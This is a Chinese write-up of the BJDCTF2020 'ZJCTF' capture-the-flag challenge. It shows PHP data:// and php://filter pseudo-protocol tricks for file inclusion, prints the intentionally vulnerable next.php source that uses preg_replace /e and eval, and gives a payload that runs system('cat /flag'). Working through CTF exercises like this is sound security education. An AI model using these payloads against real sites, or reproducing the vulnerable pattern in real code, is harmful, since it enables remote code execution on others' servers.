当前位置: 代码迷 >> 综合 >> [BJDCTF2020]ZJCTF,不过如此(php伪协议,data伪协议,preg_replace /e漏洞)
  详细解决方案

[BJDCTF2020]ZJCTF,不过如此(php伪协议,data伪协议,preg_replace /e漏洞)

热度:96   发布时间:2024-02-25 05:05:08.0

在这里插入图片描述
伪协议常用在文件包含漏洞中.
常见的文件包含函数有:
include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile.
具体的函数功能可以参考.
伪协议的学习
通过data协议构造 data://text/plain,I have a dream
通过php协议构造 php://filter/convert.base64-encode/resource=next.php
访问
在这里插入图片描述
得到next.php源代码

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;function complex($re, $str) {
    return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}function getFlag(){
    @eval($_GET['cmd']);
}

接着是preg_replace /e模式下的漏洞.
这里会在匹配成功后执行’strtolower("\1")‘操作.而""里面的东西会解释执行,而’\1’,即’\1’在正则表达式中表示第一个子匹配项.
具体可以参考
深入研究preg_replace与代码执行
构造payload
\S*=${getFlag()}&cmd=system(‘cat /flag’);(这里不要把’;'忘了)

  相关解决方案